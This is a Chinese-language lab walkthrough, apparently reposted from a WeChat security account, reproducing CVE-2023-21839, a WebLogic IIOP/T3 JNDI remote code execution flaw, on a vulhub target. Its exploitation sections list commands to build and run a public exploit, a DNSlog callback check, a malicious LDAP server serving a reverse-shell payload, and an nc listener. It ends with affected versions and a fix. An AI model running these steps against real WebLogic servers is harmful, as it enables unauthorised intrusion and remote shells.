前言
由于IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,攻击者可以进行 JNDI lookup 操作,实现任意命令执行漏洞导致服务器沦陷。
0x01 前提知识
Prerequisite knowledge
一
IIOP是一种面向对象的通信协议,用于在不同的应用程序之间进行分布式对象通信。它是CORBA(Common Object Request Broker Architecture)规范的一部分,允许使用不同编程语言编写的应用程序之间进行交互。WebLogic使用IIOP作为默认的通信协议,以支持CORBA标准和分布式对象的远程调用。
二
T3是WebLogic Server的自有协议,用于在WebLogic Server集群内部进行高性能和高效的通信。它是一种基于Java的远程方法调用(RMI)协议,专门用于在WebLogic Server实例之间传递消息和调用远程方法。T3协议在WebLogic Server的内部使用,并提供了一些高级功能,如负载均衡、故障转移和安全性。
三
Java的远程方法调用协议:
(1)Java RMI(Java Remote Method Invocation):Java标准库提供的远程方法调用机制。它允许在不同的Java虚拟机(JVM)之间进行对象的远程调用。Java RMI使用Java序列化机制将对象进行序列化和反序列化,并通过网络进行传输。
(2)EJB(Enterprise JavaBeans):EJB是Java EE(Java Enterprise Edition - Java企业版)的一部分,它提供了一种分布式组件模型和远程方法调用机制。通过EJB,可以将Java组件发布为远程服务,允许客户端通过远程调用方式访问和调用这些组件的方法。
(3)JAX-RPC(Java API for XML-Based Remote Procedure Call):JAX-RPC是一种基于XML的远程过程调用协议。它允许使用SOAP(Simple Object Access Protocol - 简单对象访问协议)和HTTP等协议,在不同的系统之间进行跨平台的远程方法调用。
(4)Apache Thrift:Apache Thrift是一种跨语言的远程服务框架,它可以生成多种编程语言的客户端和服务端代码。它支持多种传输协议和序列化格式,包括TCP、HTTP、JSON和二进制等。
(5)gRPC:gRPC是由Google开发的高性能、开源的远程过程调用框架。它基于Protocol Buffers进行数据序列化,并使用HTTP/2协议进行通信。gRPC支持多种编程语言,并提供了强类型的接口定义语言(IDL)来定义远程服务的接口。
四
SOAP(Simple Object Access Protocol)是一种基于XML的通信协议,用于在网络上进行应用程序间的通信。它是一种轻量级、可扩展的协议,常用于分布式系统中的远程过程调用(RPC)。SOAP协议的设计目标是实现不同平台、不同语言的应用程序之间的互操作性。它使用XML作为消息格式,通过HTTP或其他传输协议在网络上进行数据的传输。SOAP消息由XML元素组成,其中包含了调用的方法、参数以及返回结果等信息。
0x02 环境搭建
Environment construction
vulhub靶场的:
/vulhub/weblogic/CVE-2023-21839目录下
命令:docker compose up -d
访问:
http://IP:7001/console/login/LoginForm.jsp,进入到了管理员界面
0x03 漏洞验证
Vulnerability verification
首先需要生成漏洞利用程序(CVE-2023-21839)
下载地址:https://github.com/4ra1n/CVE-2023-21839
进入到CVE-2023-21839下的cmd目录依次执行以下命令:
go build -o CVE-2023-21839
./CVE-2023-21839 -ip 127.0.0.1 -port 7001 -ldap ldap://127.0.0.1:1389/evil
go build -o CVE-2023-21839.exe
CVE-2023-21839.exe -ip 127.0.0.1 -port 7001 -ldap ldap://127.0.0.1:1389/evil
便生成了下面要用到的CVE-2023-21839程序
在DNSlog上Get一个域名,用来记录DNS日志
在CVE-2023-21839的cmd目录下执行命令:
./CVE-2023-21839 -ip 192.168.43.25 -port 7001 -ldap ldap://niyv8m.dnslog.cn/test
刷新DNSlog
攻击成功,可能存在Weblogic未授权远程代码执行漏洞
0x04 实现反弹shell
Implement reverse shell
漏洞利用工具:JNDIExploit-1.4-SNAPSHOT
下载地址:https://github.com/WhiteHSBG/JNDIExploit
在工具包的目录下执行:
mvn clean package -DskipTests
即可生成启动恶意服务的jar包。
注意:需要jdk8环境
在JNDIExploit的targe目录下执行以下命令(没有这个jar包就执行上面的命令生成一下),搭建恶意ldap服务。
java -jar JNDIExploit-1.4-SNAPSHOT.jar --ip 192.168.43.25
命令:java -jar JNDIExploit-1.4-SNAPSHOT.jar -u
可以查看所有ldap攻击的payload
在这里我们用:
ldap://0.0.0.0:1389/Basic/ReverseShell/[ip]/[port]
0.0.0.0代表开启恶意服务的主机(服务器)
开启监听端口:
nc -lvp 6666
使用刚刚生成的CVE-2023-21839程序访问靶机IP、端口和恶意ldap的payload
成功反弹了shell
0x05 漏洞影响范围
Vulnerability scope
14.1.1.0.0
12.2.1.2.0
12.2.1.1.0
12.2.1.3.0
12.2.1.0.0
12.2.1.4.0
12.1.2.0.0
12.1.3.0.0
10.3.6.0
0x06 修复建议
Repair suggestion
禁用禁用 T3 及 IIOP
0x07 参考文章
Reference article
kali安装jdk8:
https://www.jianshu.com/p/11cd85e553d2
原文始发于微信公众号(奇点bit):CVE-2023-21839复现(Weblogic)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论